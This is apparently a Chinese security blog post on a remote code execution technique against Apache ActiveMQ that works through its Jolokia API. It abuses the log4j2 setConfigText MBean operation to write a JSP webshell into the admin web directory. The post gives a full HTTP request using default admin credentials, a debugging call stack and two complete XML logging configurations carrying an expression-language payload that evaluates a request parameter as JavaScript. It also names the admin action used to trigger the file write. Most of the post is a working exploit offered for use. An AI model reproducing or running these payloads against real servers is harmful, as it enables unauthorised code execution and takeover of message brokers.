Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法
想着最近连写了几篇加密博客有点对不起看我博客的粉丝了,今天抽空简单分享一个姿势
影响版本
大概测了一下
Apache ActiveMQ 5.16.x系列无log4j2的mbean
Apache ActiveMQ 5.17.x系列漏洞版本受影响
初探
从网上已公开的打法可以知道使用jdk.management.jfr:type=FlightRecorder
受jdk版本的影响,那有没有其他方法呢?答案肯定是有,从commit点我可以看出禁用的mbean不仅有jdk.management.jfr:type=FlightRecorder
,还有com.sun.management:type=DiagnosticCommand
以及org.apache.logging.log4j2:*
,对于DiagnosticCommand的利用在之前很早就有公开,链接在https://github.com/laluka/jolokia-exploitation-toolkit/blob/main/exploits/file-write-to-rce-vhost-jfr.md,不过大概看了一下这里似乎不太行(也没仔细看就是了),比较感兴趣的是这个log4j2的利用
在http://127.0.0.1:8161/api/jolokia/list当中搜索可以看到如下,利用的时候`type=63a65a25`似乎不是固定的,看起来大概和版本有关,需要先访问这个路由看看
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154 |
"org.apache.logging.log4j2": {"component=StatusLogger,type=63a65a25": {"attr": {"StatusDataHistory": {"rw": false,"type": "[Ljava.lang.String;","desc": "Attribute exposed for management"},"Level": {"rw": true,"type": "java.lang.String","desc": "Attribute exposed for management"},"StatusData": {"rw": false,"type": "java.util.List","desc": "Attribute exposed for management"},"ObjectName": {"rw": false,"type": "javax.management.ObjectName","desc": "Attribute exposed for management"},"ContextName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.StatusLoggerAdmin","desc": "Information on the management interface of the MBean"},"component=Loggers,name=,type=63a65a25": {"attr": {"Additive": {"rw": true,"type": "boolean","desc": "Attribute exposed for management"},"Filter": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"AppenderRefs": {"rw": false,"type": "[Ljava.lang.String;","desc": "Attribute exposed for management"},"IncludeLocation": {"rw": false,"type": "boolean","desc": "Attribute exposed for management"},"Level": {"rw": true,"type": "java.lang.String","desc": "Attribute exposed for management"},"Name": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.LoggerConfigAdmin","desc": "Information on the management interface of the MBean"},"type=63a65a25": {"op": {"setConfigText": {"args": [{"name": "p1","type": "java.lang.String","desc": ""}, {"name": "p2","type": "java.lang.String","desc": ""}],"ret": "void","desc": "Operation exposed for management"},"getConfigText": {"args": [{"name": "p1","type": "java.lang.String","desc": ""}],"ret": "java.lang.String","desc": "Operation exposed for management"}},"attr": {"Status": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigClassName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigLocationUri": {"rw": true,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigProperties": {"rw": false,"type": "java.util.Map","desc": "Attribute exposed for management"},"ConfigText": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"Name": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ObjectName": {"rw": false,"type": "javax.management.ObjectName","desc": "Attribute exposed for management"},"ConfigFilter": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.LoggerContextAdmin","desc": "Information on the management interface of the MBean"},"component=ContextSelector,type=63a65a25": {"attr": {"ImplementationClassName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.ContextSelectorAdmin","desc": "Information on the management interface of the MBean"}, |
在这里可以看到两个比较可疑的操作setConfigText
与getConfigText
,看起来似乎与配置相关
看看代码可以发现,确实根据我们传入的字符串做了配置文件解析更新
同时getConfigText
可以查看当前环境下的配置,可以看到返回的形式就和文件/conf/log4j2.properties
一致
12345678910111213141516171819 |
POST /api/jolokia/ HTTP/1.1Host: 127.0.0.1:8161Authorization: Basic YWRtaW46YWRtaW4=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Origin: 127.0.0.1Connection: closeContent-Type: application/jsonContent-Length: 2174{ "type": "EXEC", "mbean": "org.apache.logging.log4j2:type=63a65a25", "operation": "getConfigText", "arguments":["UTF-8"] }response:{"request":{"mbean":"org.apache.logging.log4j2:type=63a65a25","arguments":["UTF-8"],"type":"exec","operation":"getConfigText"},"value":"rootLogger.level=INFO\nrootLogger.appenderRef.console.ref=Console\nrootLogger.appenderRef.console.filter.threshold.type=ThresholdFilter\nrootLogger.appenderRef.console.filter.threshold.level=INFO\nrootLogger.appenderRef.logfile.ref=RollingFile\nlogger.spring.name=org.apache.activemq.spring\nlogger.spring.level=WARN\nlogger.web.name=org.apache.activemq.web.handler\nlogger.web.level=WARN\nlogger.springframework.name=org.springframework\nlogger.springframework.level=WARN\nlogger.xbean.name=org.apache.xbean\nlogger.xbean.level=WARN\n\n# Jetty\nlogger.jetty.name=org.eclipse.jetty\nlogger.jetty.level=WARN\n\n# ActiveMQ\n#log4j2.logger.activemq.name=org.apache.activemq\n#log4j2.logger.activemq.level=DEBUG\n\n# Appender configuration\n\n# Console appender\nappender.console.type=Console\nappender.console.name=Console\nappender.console.layout.type=PatternLayout\nappender.console.layout.pattern=%5p | %m%n\n\n# File appender\nappender.logfile.type=RollingRandomAccessFile\nappender.logfile.name=RollingFile\nappender.logfile.fileName=${sys:activemq.data}\/activemq2.log\nappender.logfile.filePattern=${sys:activemq.data}\/activemq2.log.%i\nappender.logfile.append=true\nappender.logfile.layout.type=PatternLayout\nappender.logfile.layout.pattern=%d | %-5p | %m | %c | %t%n%throwable{full}\nappender.logfile.policies.type=Policies\nappender.logfile.policies.size.type=SizeBasedTriggeringPolicy\nappender.logfile.policies.size.size=1MB\n\n\nlogger.audit.name=org.apache.activemq.audit\nlogger.audit.additivity=false\nlogger.audit.level=INFO\nlogger.audit.appenderRef.auditlog.ref=AuditLog\n\nappender.auditlog.type=RollingRandomAccessFile\nappender.auditlog.name=AuditLog\nappender.auditlog.fileName=${sys:activemq.data}\/audit.log\nappender.auditlog.filePattern=${sys:activemq.data}\/audit.log.%i\nappender.auditlog.append=true\nappender.auditlog.layout.type=PatternLayout\nappender.auditlog.layout.pattern=%-5p | %m | %t%n\nappender.auditlog.policies.type=Policies\nappender.auditlog.policies.size.type=SizeBasedTriggeringPolicy\nappender.auditlog.policies.size.size=1MB\n","timestamp":1701347796,"status":200} |
踩坑
但是当我们按照这个格式改好payload调用set更新时发现并没有成功,无事发生
调试后才发现这个config解析其实是xml形式的,算是被系统坑了一把
调用栈(方便也想调试看看的师傅)
1234567891011121314151617181920 |
setConfiguration:601, LoggerContext (org.apache.logging.log4j.core)start:285, LoggerContext (org.apache.logging.log4j.core)setConfigText:201, LoggerContextAdmin (org.apache.logging.log4j.core.jmx)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:566, Method (java.lang.reflect)invoke:71, Trampoline (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:566, Method (java.lang.reflect)invoke:260, MethodUtil (sun.reflect.misc)invokeM2:112, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)invokeM2:46, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)invokeM:237, MBeanIntrospector (com.sun.jmx.mbeanserver)invoke:138, PerInterface (com.sun.jmx.mbeanserver)invoke:252, MBeanSupport (com.sun.jmx.mbeanserver)invoke:809, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver) |
破局
但是也知道我懒,这种格式转换的活我很烦,还好有chatGPT,简单问了一手解决了我的问题
毕竟我不关心内容只需要一个模板罢了
12345678910111213141516171819202122 |
把接下来我给的配置转化为log4j2配置的xml的形式好的喵xxxx以下是将您提供的配置转换为log4j2的XML形式:<Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> <File name="File" fileName="logs/logfile.log"> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </File> </Appenders> <Loggers> <Root level="debug"> <AppenderRef ref="Console"/> <AppenderRef ref="File"/> </Root> </Loggers></Configuration> |
虽然不知道绝对路径,但是根据系统的原配置文件的写法appender.logfile.fileName=${sys:activemq.data}/activemq.log
再结合日志路径可以猜到使用${sys:activemq.data}/../webapps/admin/
同时为了方便利用,我写成el表达式的形式
1234567891011121314151617 |
<Configuration status="WARN"> <Appenders> <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/y4test.jsp" filePattern="${sys:activemq.data}/../webapps/admin/y4test.jsp"> <PatternLayout pattern="${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('JavaScript')['eval'](param.a)}"/> <Policies> <SizeBasedTriggeringPolicy size="1MB"/> </Policies> </RollingRandomAccessFile> </Appenders> <Loggers> <Root level="INFO"> <AppenderRef ref="RollingFile"/> </Root> </Loggers></Configuration> |
打一发看看,但是目录下只生成了文件并没有把payload写入,因此我们需要找一个能触发日志的功能点
这里我随便找了一个/admin/deleteDestination.action
看到这个心满意足
但是忘了一点,这里虽然输出了payload,也能利用了但是对于我们极客来说,不喜欢除了payload的其他字符
能做到吗?当然可以,通过查阅手册可以发现针对堆栈信息,有下面配置
1234 |
%throwable{full}:输出完整的异常堆栈信息%ex{none}来禁用异常堆栈的输出%ex{short}:输出简短的异常堆栈信息,只包括异常类和消息。%ex{full}:输出完整的异常堆栈信息,包括异常类、消息和详细的堆栈跟踪。 |
那么必然是选%ex{none}
,得到如下payload
1234567891011121314151617 |
<Configuration status="WARN"> <Appenders> <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/y4test.jsp" filePattern="${sys:activemq.data}/../webapps/admin/y4test.jsp"> <PatternLayout pattern="${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('JavaScript')['eval'](param.a)}%ex{none}"/> <Policies> <SizeBasedTriggeringPolicy size="1MB"/> </Policies> </RollingRandomAccessFile> </Appenders> <Loggers> <Root level="INFO"> <AppenderRef ref="RollingFile"/> </Root> </Loggers></Configuration> |
再一次利用一发,就是这么舒爽2333,利用也简单只需要一发修改配置、触发文件写入
- source:y4tacker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论